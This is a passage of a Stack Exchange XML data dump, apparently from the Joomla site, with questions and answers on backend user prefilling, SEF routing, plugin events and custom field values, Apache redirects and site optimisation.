  <row Id="26309" PostTypeId="1" AcceptedAnswerId="26319" CreationDate="2019-10-25T10:26:10.190" Score="0" ViewCount="99" Body="&lt;p&gt;Hey I want to prefill in &lt;code&gt;new user&lt;/code&gt; details by setting the parameters in a link. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am talking about the default Joomla User Manager in the BACKEND and then clicked on new user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this link,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/index.php?option=com_users&amp;amp;view=user&amp;amp;layout=edit&amp;amp;id=0&amp;amp;jform_username=test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would already prefill in the username field with the word &lt;code&gt;test&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried numerous suggestions from the web to make this work but sadly no luck. I also tried with different fields and switching between the name of the field and the ID &lt;code&gt;jform[username] or jform_username&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3920" LastActivityDate="2019-11-25T19:01:20.170" Title="Prefill new user registration fields in the backend by URL" Tags="|joomla-3.x|administrator|com-users|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26310" PostTypeId="1" CreationDate="2019-10-25T11:03:50.240" Score="2" ViewCount="57" Body="&lt;p&gt;Joomla 3.9.12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the most effective way of optimising a Joomla website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if my site is particularly large, details below;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Files / folders 28GB&lt;/li&gt;&#xA;&lt;li&gt;Database 314MiB&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I take a backup of my site using Akeeba Backup, it's approx. 7.01 GB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site isn't running slow, but i'd like to keep on top of it. I do have a lot of media files such as images and videos. I also have a few third party components installed such as EasyBlog and SP Page Builder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to follow recommendations such as;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;compress css / js files&lt;/li&gt;&#xA;&lt;li&gt;optimise images (save for web)&lt;/li&gt;&#xA;&lt;li&gt;remove unnecessary components / plugins&lt;/li&gt;&#xA;&lt;li&gt;enable cache&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I should be doing? In particular with the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at my database there are a lot of tables prefixed &lt;code&gt;#__j2store&lt;/code&gt; - I don't recall ever installing this so presumably it came with my site template (Joomshaper). I can't see any way of removing j2store via the Joomla back end - unless I manually drop these via the database there's no way of getting rid of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed &lt;a href=&quot;https://www.akeebabackup.com/products/admin-tools.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Admin Tools Core&lt;/a&gt; for Joomla, this comes with a feature to Repair &amp;amp; Optimise Tables which I have ran.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-10-25T16:02:32.900" Title="Tips On How To Optimise A Joomla Site" Tags="|joomla-3.x|database|performance|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26311" PostTypeId="1" CreationDate="2019-10-25T11:26:46.860" Score="1" ViewCount="436" Body="&lt;p&gt;&lt;strong&gt;Joomla 3.9.12, JoomGallery 3.4&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a site with joomShopping for e-shop and JoomGallery for portfolio. &#xA;The site has 2 menus where some menu items of the first are menu item aliases of the second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu structure is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Home&#xA;- Shop(JoomShopping component)&#xA;- - Many subcategories&#xA;- Portfolio (JoomGallery component) (Gallery view)&#xA;- - Portfolio price range 1 (Categories view)&#xA;- - Portfolio price range 2&#xA;- - Portfolio price range 3&#xA;- - Portfolio price range 4&#xA;- Other pages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In portfolio categories are subcategories like &lt;strong&gt;Portfolio Item 1 (Category view)&lt;/strong&gt;. For ex., &lt;strong&gt;Portfolio Item 1&lt;/strong&gt; placed in &lt;strong&gt;Price range 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For better and easier re-linking of products with portfolio items, I made a content plugin like JoomImages which inserts a category thumb (1st image in category or from category settings or by 'imgid' param), title and category description and wraps this in a link to the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All works fine except the link construction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1st way - use JoomGallery's&lt;/strong&gt; &lt;code&gt;$this-&amp;gt;_interface-&amp;gt;route()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$catlink = $this-&amp;gt;_interface-&amp;gt;route('index.php?&amp;amp;option=com_joomgallery&amp;amp;view=category&amp;amp;catid=' . $catid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I set &lt;code&gt;$catid&lt;/code&gt; as &lt;em&gt;Protfolio item 1 id&lt;/em&gt;, I should get a sef url like this in menus:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;site.ru/portfolio/price-range-1/portfolio-item-1/&#xA;// fine in all menus and sef url is true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, in my plugin, I got sef url like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;site.ru/portfolio/price-range-3/portfolio-item-1/&#xA;// incorrect -----^^^^^^^^^^^^^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2nd way - use Joomla&lt;/strong&gt; &lt;code&gt;JRoute::_()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$catlink = JRoute::_('index.php?&amp;amp;option=com_joomgallery&amp;amp;view=category&amp;amp;catid=' . $catid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this, I generate SEF urls like: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;site.ru/component/joomgallery/portfolio-item-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I understand that I must set an Itemid in the url for rewriting, but how to get it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getItemid( $component, $view )&#xA;{&#xA;    $items = JFactory::getApplication()-&amp;gt;getMenu( 'site' )-&amp;gt;getItems( 'component', $component );&#xA;    foreach ( $items as $item ) {&#xA;        if($item-&amp;gt;query['view'] === $view){&#xA;            return $item-&amp;gt;id;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From this function, I got an Itemid of Joomgallery's top level menu item - Portfolio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get &lt;code&gt;site.ru/portfolio/price-range-1/portfolio-itme-1&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="13868" LastEditorUserId="12352" LastEditDate="2019-10-25T23:39:39.400" LastActivityDate="2023-12-09T17:03:20.483" Title="how to route url - JRoute get wrong itemid and wrong sef url" Tags="|plugin|sef|jroute|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26312" PostTypeId="1" CreationDate="2019-10-25T11:30:28.120" Score="2" ViewCount="195" Body="&lt;p&gt;Joomla 3.9.12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using &lt;a href=&quot;https://www.regularlabs.com/extensions/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sourcerer&lt;/a&gt; in order to place custom code throughout my site, it's working well so far. I've created a custom html module, within this I have added PHP, JS, HTML and CSS. The purpose of the module is to select data from the database and display this information in a 'Customers' &lt;a href=&quot;https://datatables.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;datatable&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have duplicated this module and placed it on various pages and positions throughout my site. The issue I am having now is that when I need to make a change, I have to update the code manually within each custom html module. Ideally I'd like to make the change in &lt;strong&gt;one place&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in the Joomla back-end I'd like to create new module &gt; select type 'Customers Table' &gt; select a position and page &gt; save. I can duplicate this module as required. If at some stage I want to add an additional column to the 'Customers' table, I should be able to edit the PHP in one place, and the changes reflect across all the modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be looking at creating a module, plugin or component? I'm not sure how to approach this. Never attempted custom Joomla development before, although I have read a lot of tutorials I'm not fully understanding the difference in modules, plugins and components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My PHP code is accessing the database using JDatabase if that helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-11-25T03:02:25.603" Title="Transfer Custom Code to Module / Plugin / Component" Tags="|component|module|plugin|database|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26315" PostTypeId="2" ParentId="26310" CreationDate="2019-10-25T13:49:15.000" Score="2" Body="&lt;p&gt;I'd suggest running an Audit using Chrome Dev Tools. This will gauge your site performance and give you more details about what you can do to improve it.&#xA;Alernatively, you can use &lt;a href=&quot;https://web.dev&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://web.dev&lt;/a&gt; which also uses Lighthouse behind the scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seeing as you have a lot of assets, you'd ideally want to start lazy loading images. Chrome has a built-in attribute for this, however I'd strongly suggest using a Joomla plugin (or creating your own) to lazy load them....ensuring it will be applied across all browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several other things that can be done, such as lazy loading CSS/JS files, but unless you're using a custom template, you're going to have to resort to a plugin.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-10-25T16:02:32.900" LastActivityDate="2019-10-25T16:02:32.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26316" PostTypeId="1" CreationDate="2019-10-25T19:45:02.587" Score="0" ViewCount="824" Body="&lt;p&gt;I've installed Joomla 4 to test with, and I'm getting this error on every attempt to login to the admin:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Invalid controller class: display&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've re-installed and am using the latest alpha release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas of how to fix?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12352" LastEditDate="2019-10-26T00:03:18.670" LastActivityDate="2019-10-28T14:44:13.393" Title="Error: &quot;Invalid controller class: display&quot;" Tags="|administrator|login|joomla-4|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26318" PostTypeId="2" ParentId="26312" CreationDate="2019-10-26T02:12:24.060" Score="2" Body="&lt;p&gt;For the purpose you are describing, your best bet is to create your own Joomla custom library. It's a type of Joomla extension alongside with plugins, modules and components, allowing you to put your custom common code. There is not much examples in Joomla documentation but Roberto Segura (phproberto) made an awesome example of a custom library available on github. Just type phproberto/lib_sample.&#xA;Here is the link for Joomla documentation on custom libraries &lt;a href=&quot;https://docs.joomla.org/Using_own_library_in_your_extensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla documentation on custom libraries&lt;/a&gt;  and another link for custom library sample code &lt;a href=&quot;https://github.com/phproberto/lib_sample&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom library sample code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2019-10-26T02:12:24.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26319" PostTypeId="2" ParentId="26309" CreationDate="2019-10-26T18:14:08.387" Score="0" Body="&lt;p&gt;For security reasons, Joomla! uses a CSRF Token to secure any sensitive information in order to attempt to prevent any malicious form manipulation.&#xA;The short answer you need the token to attempt to do this via url but it might not work.&#xA;Your best bet would be to use your favorite web browser autofill capabilities.&#xA;Take care.&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2019-10-26T18:14:08.387" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26320" PostTypeId="2" ParentId="26311" CreationDate="2019-10-26T20:55:55.577" Score="0" Body="&lt;p&gt;I came to the conclusion that it is need to specify menu itemid as a parameter. If the menu has only one item associated with JoomGallery, then it can be obtained automatically. If several, then it is necessary to specify force in shortcode params.&#xA;For example, plugin shortcode now is &lt;code&gt;{jgcat catid=123 itemid=194 tmpl=bootstrap4}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then php code parses plugin shortcode and builds url by JRoute. I use JoomGallery interface for this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_interface = new JoomInterface();&#xA;$this-&amp;gt;_interface-&amp;gt;getPageHeader();&#xA;if ($params['itemid'] != &quot;&quot;) { //params array&#xA;    $ItemId = $params[&quot;itemid&quot;];            &#xA;} else {&#xA;    $ItemId = $defaultJoomGalleryItemId;//we got it above&#xA;}&#xA;$catlink = &quot;index.php?&amp;amp;option=com_joomgallery&amp;amp;Itemid=&quot;.$ItemId.&quot;&amp;amp;view=category&amp;amp;catid=&quot;.$catid;&#xA;$catlink = $this-&amp;gt;_interface-&amp;gt;route($catlink);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if you have only 1 JoomGallery menu item you can do nothing, plugin will get item id automatically. If you have more - you must to set it for good sef-links.&lt;/p&gt;&#xA;" OwnerUserId="13868" LastEditorUserId="12352" LastEditDate="2019-11-30T11:00:47.603" LastActivityDate="2019-11-30T11:00:47.603" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26322" PostTypeId="1" AcceptedAnswerId="26329" CreationDate="2019-10-28T18:30:37.797" Score="3" ViewCount="925" Body="&lt;p&gt;In articles, I have created a series of custom fields, including two date fields and a checkboxes field. Now, through a plugin in the &lt;code&gt;onContentBeforeSave&lt;/code&gt; event I need to verify that if date 1 is less than date 2 then set the value of the checkbox field. For this I try the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA;class plgContentAlertcustomfieldhandler extends JPlugin&#xA;{&#xA;    public function onContentBeforeSave($context, &amp;amp;$article, $isNew, $data)&#xA;    {&#xA;        if ($context === 'com_content.article') {&#xA;            $date1 = strtotime($data['com_fields']['date1']);&#xA;            $date2 = strtotime($data['com_fields']['date2']);&#xA;&#xA;            if ($date1 &amp;lt; $date2) {&#xA;                $data['com_fields']['alert'][0] = 'alert';&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try to set the value in this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['com_fields']['alert'][0] = 'alert';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This custom field has only one checkbox, defined with the name Alert and with the value alert.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying &lt;code&gt;$data['com_fields']['alert'] = true;&lt;/code&gt; but I am getting the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I manually set a value to the checkbox, debugging I can verify that the value assigned to alert in &lt;code&gt;$data&lt;/code&gt; is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (&#xA;   0 =&amp;gt; 'alert',&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try to apply this same value programmatically as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['com_fields']['alert'] = ['alert'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the value is not persisted, at the end of the process of saving and refreshing the view the checkbox remains unchecked&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the process of saving through debugging I identify that if I programmatically assign the value to the custom field through &lt;code&gt;$data ['com_fields']['alert'] = ['alert'];&lt;/code&gt; when arriving to the &lt;code&gt;save&lt;/code&gt; method in &lt;code&gt;libraries/src/MVC/Model/AdminModel.php&lt;/code&gt; in the argument &lt;code&gt;$data&lt;/code&gt; the value of &lt;code&gt;alert&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt;, while if I set a value manually when arriving at this method in&lt;code&gt;$data&lt;/code&gt; the value of the &lt;code&gt;alert&lt;/code&gt; field is &lt;code&gt;[0 =&amp;gt; 'alert']&lt;/code&gt; and consequently the value of the checkbox is assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 4&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The typo error pointed out by alexandreelise is now repaired. The problem still persists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 5&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using debug I managed to identify that it doesn't matter which field within &lt;code&gt;$ data['com_fields']&lt;/code&gt; I modify in the &lt;code&gt;onContentBeforeSave&lt;/code&gt; event once it delegates to the &lt;code&gt;trigger&lt;/code&gt; method of the &lt;code&gt;JEventDispatcher&lt;/code&gt; class located at &lt;code&gt;libraries/joomla/event/dispatcher.php&lt;/code&gt; the argument &lt;code&gt;$args&lt;/code&gt; that includes in the index 3 the data to be persisted including those of &lt;code&gt;com_fields&lt;/code&gt; retain the values set by the user even if they have been programmatically modified as in the example I described. Eventually this data is passed to &lt;code&gt;libraries/src/MVC/Model/AdminModel.php&lt;/code&gt; in the &lt;code&gt;save&lt;/code&gt; method that has the argument &lt;code&gt;$data&lt;/code&gt; the data to be inserted preserves the values set by the user. Right now I think that maybe the solution is to try to modify these values in another event maybe before &lt;code&gt;onContentBeforeSave&lt;/code&gt;. Thanks again for any ideas&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate your advice&lt;/p&gt;&#xA;" OwnerUserId="13628" LastEditorUserId="13628" LastEditDate="2019-10-30T15:51:37.500" LastActivityDate="2019-10-31T03:52:54.757" Title="How to programmatically set the value of a custom field of type checkbox?" Tags="|plugin|custom-field|plugin-events|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26323" PostTypeId="1" AcceptedAnswerId="26324" CreationDate="2019-10-29T01:32:48.993" Score="0" ViewCount="161" Body="&lt;p&gt;I work in a functionality in which I must validate some fields before saving, if a condition is not met I must indicate abort the save process, according to the documentation of the &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content#onContentBeforeSave&quot; rel=&quot;nofollow noreferrer&quot;&gt;onContentBeforeSave&lt;/a&gt; event I do this by returning false, this works fine, but I would like to add a personalized message. Right now when return false, the following message is displayed in the view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vwJb4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vwJb4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand after the colon a personalized message is expected. How I do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the plugin code I am trying&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA;class plgContentMyPlugin extends JPlugin&#xA;{&#xA;    public function onContentBeforeSave($context, &amp;amp;$article, $isNew, $data)&#xA;    {&#xA;        if ($context === 'com_content.article') {&#xA;            $field1 = $data['com_fields']['field1'];&#xA;            $field2 = $data['com_fields']['field2'];&#xA;&#xA;            if (!empty($field1) &amp;amp;&amp;amp; empty($field2)) {&#xA;                return false; // here, how can I attach a message?&#xA;            }&#xA;&#xA;            $date = strtotime($field1);&#xA;            $now = time();&#xA;&#xA;            if ($date &amp;gt; $now) {&#xA;                return false; // here, how can I attach a message?&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="13628" LastEditorUserId="13628" LastEditDate="2019-10-29T14:54:51.757" LastActivityDate="2019-10-29T14:54:51.757" Title="How to add an error message when returning false in the onContentBeforeSave event?" Tags="|plugin|plugin-events|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26324" PostTypeId="2" ParentId="26323" CreationDate="2019-10-29T06:32:17.063" Score="2" Body="&lt;p&gt;You can throw an Exception:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($date &amp;gt; $now)&#xA;{&#xA;    throw new RuntimeException(JText::_('PLG_CONTENT_MYPLUGIN_SOME_ERROR'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or use &lt;code&gt;setError()&lt;/code&gt; on the table object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($date &amp;gt; $now)&#xA;{&#xA;    $article-&amp;gt;setError(JText::_('PLG_CONTENT_MYPLUGIN_SOME_ERROR'));&#xA;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-10-29T06:32:17.063" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26326" PostTypeId="1" CreationDate="2019-10-29T11:23:16.203" Score="0" ViewCount="72" Body="&lt;p&gt;I have around 10 Joomla websites hosted on Apache server. The admin URLs are similar to below patterns. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://m1.aa.example.com/administrator&#xA;http://m2.aa.example.com/administrator&#xA;           .&#xA;           .&#xA;http://m5.aa.example.com/administrator&#xA;http://m1.bb.example.com/administrator&#xA;http://m2.bb.example.com/administrator&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Common pattern can be identified as,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://[one letter &amp;amp; digits].[two letters].example.com/administrator&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The part &lt;code&gt;example.com/administrator&lt;/code&gt; remain unchanged. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to redirect users to relevant home page of each Joomla website if users try to go to URL with above pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did so far :-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add below directive in &lt;strong&gt;httpd.conf&lt;/strong&gt; file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule alias_module&amp;gt;&#xA;  Redirect permanent /(\.)[a-z]*\/administrator /(\.)[a-z]*  &#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this is not working. Can someone give a solution for this?  &lt;/p&gt;&#xA;" OwnerUserId="13879" LastEditorUserId="13879" LastEditDate="2019-10-31T03:54:42.437" LastActivityDate="2019-10-31T03:54:42.437" Title="Redirect administrator login page of multiple Joomla websites hosted in Apache server" Tags="|joomla-3.x|administrator|.htaccess-configuration|redirect|regex|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="26327" PostTypeId="1" AcceptedAnswerId="26331" CreationDate="2019-10-29T19:12:32.210" Score="0" ViewCount="23848" Body="&lt;p&gt;The files are loaded as so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addScript('media/breezingforms/slider-radio/slider-radio/slider-radio.js');&#xA;$document-&amp;gt;addStyleSheet('media/breezingforms/slider-radio/slider-radio/slider-radio.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some work that way, but these two in particular don't.  Are there any variables I can add to my &lt;code&gt;addStyleSheet&lt;/code&gt; or &lt;code&gt;addScript&lt;/code&gt; to make it work?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-10-30T07:54:19.750" Title="was blocked due to MIME type (“text/html”) mismatch (X-Content-Type-Options: nosniff)" Tags="|javascript|css|jdocument|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26328" PostTypeId="2" ParentId="26327" CreationDate="2019-10-29T21:19:38.037" Score="2" Body="&lt;p&gt;This kind of error comes from what is known as CSP (Content Security Policy) configured on your web server. If you don't know what it is. Please contact your hosting provider. For any information you can read &lt;a href=&quot;https://developer.mozilla.org/fr/docs/Web/HTTP/CSP&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article on MDN (Mozilla Developer Network)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take care. Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2019-10-29T21:19:38.037" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26329" PostTypeId="2" ParentId="26322" CreationDate="2019-10-30T01:29:25.227" Score="3" Body="&lt;p&gt;Basically you needed to use &lt;code&gt;onContentAfterSave&lt;/code&gt; rather then &lt;code&gt;onContentBeforeSave&lt;/code&gt; and use the &lt;code&gt;FieldsHelper&lt;/code&gt; in conjuction with the &lt;code&gt;FieldsModelField&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA;class plgContentAlertcustomfieldhandler extends JPlugin&#xA;{&#xA;   public function onContentAfterSave($context, &amp;amp;$article, $isNew)&#xA;   {&#xA;&#xA;    if ($context === 'com_content.article') {&#xA;        $custom_fields = FieldsHelper::getFields($context, $article, true);&#xA;        $custom_fields_by_name = \Joomla\Utilities\ArrayHelper::pivot($custom_fields, 'name');&#xA;&#xA;        $date1 = strtotime($custom_fields_by_name['date1']-&amp;gt;value);&#xA;        $date2 = strtotime($custom_fields_by_name['date2']-&amp;gt;value);&#xA;&#xA;        if ($date1 &amp;lt; $date2) {&#xA;            //define the value you want to assign&#xA;            $your_custom_field_value = 'alert';&#xA;&#xA;            JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_fields/models');&#xA;            /**&#xA;             * @var FieldsModelField $model_field&#xA;             */&#xA;            $model_field = JModelLegacy::getInstance('Field', 'FieldsModel', ['ignore_request' =&amp;gt; true]);&#xA;&#xA;            //set the value using field model instead to make change permanent in db&#xA;            $model_field-&amp;gt;setFieldValue(&#xA;                $custom_fields_by_name['alert']-&amp;gt;id,&#xA;                $article-&amp;gt;id,&#xA;                $your_custom_field_value&#xA;            );&#xA;        }&#xA;    }&#xA;&#xA;     return true;&#xA;     }&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second version of the code toggling on and off the checkbox when your requirement is not met.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA;class plgContentAlertcustomfieldhandler extends JPlugin&#xA;{&#xA;    public function onContentAfterSave($context, &amp;amp;$article, $isNew)&#xA;    {&#xA;&#xA;    if ($context === 'com_content.article') {&#xA;        $custom_fields = FieldsHelper::getFields($context, $article, true);&#xA;        $custom_fields_by_name = \Joomla\Utilities\ArrayHelper::pivot($custom_fields, 'name');&#xA;&#xA;        $date1 = strtotime($custom_fields_by_name['date1']-&amp;gt;value);&#xA;        $date2 = strtotime($custom_fields_by_name['date2']-&amp;gt;value);&#xA;&#xA;        $your_custom_field_value = '';&#xA;        if ($date1 &amp;lt; $date2) {&#xA;            //define the value you want to assign&#xA;            $your_custom_field_value = 'alert';&#xA;        }&#xA;        JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_fields/models');&#xA;        /**&#xA;         * @var FieldsModelField $model_field&#xA;         */&#xA;        $model_field = JModelLegacy::getInstance('Field', 'FieldsModel', ['ignore_request' =&amp;gt; true]);&#xA;&#xA;        //set the value using field model instead to make change permanent in db&#xA;        $model_field-&amp;gt;setFieldValue(&#xA;            